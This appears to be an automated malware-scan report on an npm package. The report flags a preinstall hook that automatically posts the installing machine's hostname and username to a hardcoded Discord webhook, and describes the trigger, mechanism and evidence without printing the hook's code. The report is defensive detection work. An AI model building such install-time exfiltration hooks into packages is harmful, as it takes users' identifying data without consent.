AI Security Review
scanned 4d ago · by lpm-firewall-aiThe preinstall hook automatically sends the installing machine's hostname and OS username to a fixed Discord webhook. Although the README discloses this behavior, there is no consent prompt or opt-in for the install-time transfer.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
The package's preinstall lifecycle hook runs during installation.
Impact
The webhook operator receives identifying information about the installing machine and user; the hook also writes a local marker file.
Mechanism
The hook reads the hostname and OS username, then sends them in a POST request to canary.discord.com.
Attack narrative
During installation, npm runs the preinstall hook, which collects the machine hostname and OS username and posts them to a hardcoded Discord webhook without an opt-in. The README describes this behavior as a security demonstration, but installing the package still triggers the data transfer automatically.
AI rationale
The preinstall hook automatically sends the installing machine's hostname and OS username to a fixed Discord webhook. Although the README discloses this behavior, there is no consent prompt or opt-in for the install-time transfer.

Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- The package runs `node preinstall.js` automatically during installation.
- The hook collects the installing machine's hostname and OS username.
- The hook POSTs that data to a hardcoded Discord webhook.
Evidence against
- The README discloses the data sent and describes the package as a lifecycle-hook security demonstration, but the hook has no consent prompt or opt-in.
